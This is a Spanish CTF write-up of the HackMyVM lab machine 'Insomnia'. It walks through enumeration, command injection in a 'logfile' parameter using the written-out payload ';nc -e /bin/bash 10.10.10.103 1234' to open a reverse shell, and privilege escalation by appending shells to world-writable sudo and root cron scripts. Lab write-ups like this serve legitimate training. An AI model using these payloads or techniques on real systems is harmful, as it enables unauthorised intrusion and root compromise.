HackMyVM - Insomnia
1 octubre 2021
Esta máquina se encuentra en la plataforma HackMyVM y ha sido creada por el usuario alienum.
Una máquina sencilla y entretenida que aprovecha una vulnerabilidad RCE para conseguir acceso.
# | Dificultad |
---|---|
Acceso | Muy Fácil |
Escalada de privilegios | Fácil |
Enumeración
Como todas las máquinas de esta plataforma es necesario conocer la dirección IP de la máquina. Para ello utilizaré la herramienta ping-sweep con el modo de descubrimiento de sistema operativo para poder avanzar más rápido en la enumeración. La máquina objetivo se despliega en la misma red que la máquina del atacante por lo que con un escaneo ARP sería suficiente para el descubrimiento de la dirección IP.
La herramienta ha detectado 3 IP:
- 10.10.10.1 - linux → Gateway
- 10.10.10.101 - windows → Sistema anfitrión
- 10.10.10.102 - linux → Máquina objetivo
Una vez identificada la máquina objetivo se comienza con el escaneo de puertos. Como es habitual para el escaneo se utiliza nmap y se divide en dos fases: la primera de un escaneo rápido de los 65535 puertos para detectar aquellos abiertos y la segunda para realizar una enumeración más exahustiva usando scripts básicos de los puertos abiertos.
Se detecta como único puerto abierto el puerto 8080, un puerto común para servicio HTTP.
Como era de esperar NMAP desvela que el puerto 8080 está ocupado por un servicio HTTP.
Con la herramienta Whatweb se pretende obtener un poco más de información del servicio. Obteniendo que está escrita en PHP, esto es de utilidad porque se intuye que la extensión de los recursos será .php
Teniendo una entrada y el reflejo de la entrada del usuario en el navegador se intuye un posible ataque XSS.
Sin embargo, tras varios intentos y distintos payloads se intuye que este no es el vector de ataque.
A continuación, se procede con un fuzzing del servicio para descubrir servicios ocultos. Descubriendo los recursos administration.php, process.php e index.php.
El recurso index.php se corresponde con el chat.
El recurso administration.php parece ser un recurso que muestra algún tipo de información, tiene pinta que el vector de ataque será por aquí.
El recurso process.php contiene un array vacío.
Como el recurso más interesante es el administration.php, se realiza un segundo fuzzing sobre este recurso con el fin de adivinar algún atributo con el que indicar qué información debe mostrar.
El fuzzing desvela que el atributo es logfile.
Cuando se introduce un valor en este atributo el servicio devuelve que no está permitido para ver el la información solicitada. Con esto puede intuirse un ataque LFI.
Ganar acceso
No obstante, si se supone que el recurso php tiene la función "exec" o "system" que ejecute un cat con el archivo a mostrar se contruye el siguiente payload: ;nc -e /bin/bash 10.10.10.103 1234. El fin de esto es concatenar un netcat con una reverse shell al cat que realiza la función.
Se utiliza nc en la máquina local para escuchar en el puerto 1234 y se envía una solicitud con el payload. Se observa que la web se queda cargando, buena señal.
¡Perfecto! Se recibe una conexión y se consigue el acceso.
Se da un tratamiento a la tty para conseguir una terminal útil. Véase https://thehackersnow.com/tratamiento-de-una-tty/ para ver como se trata la tty.
Escalada de privilegios - Primera fase
Actualmente, se es usuario www-data. Por lo que será necesario descubrir los usuarios existentes en el sistema para saber a quién escalar.
Solo existe el usuario julia, será el objetivo de la escalada. Consultando los privilegios de www-data se observa que tiene persmiso para ejecutar como julia una bash sobre el archivo /var/www/html/start.sh.
Se consultan los permisos del archivo y se ve que tiene todos los permisos 777. Ya está hecha la primera fase de la escalada.
Se concatena la ejecución de una /bin/bash al final del archivo start.sh y se ejecuta como julia.
Una vez siendo julia puede consultarse la flag de user.
Escalada de privilegios - Segunda fase
Se consultan los permisos sudo y ssuid de julia así como una primera enumeración de los archivos que puede ejecutar julia sin encontrar nada demasiado interesante.
Tras un rato se recuerda que existen las tareas cron, siempre las olvido. Y exacto se descubre una tarea que ejecuta de forma periódica el archivo "/var/cron/check.sh."
El archivo en cuestión comprueba si se está ejecutando un servicio y si no lo ejecuta. Se intuye el vector para escalar estaría relacionado con el servicio en cuestión.
Pero antes de buscar qué realiza el servicio se comprueban los permisos sobre la tarea cron y se encuentra que se tienen todos los permisos de nuevo. Esto demuestra la importancia de siempre comprobrar los permisos.
Aprovechando el permiso de escritura y que se ejecuta como root, se concatena al final del archivo una conexión nc enviando una /bin/bash para tener una reverse shell como root.
Se escucha en el puerto seleccionado y siendo un poco paciente se obtiene una conexión.
Siendo root se obtiene la flag de root y se concluye la resolución de la máquina.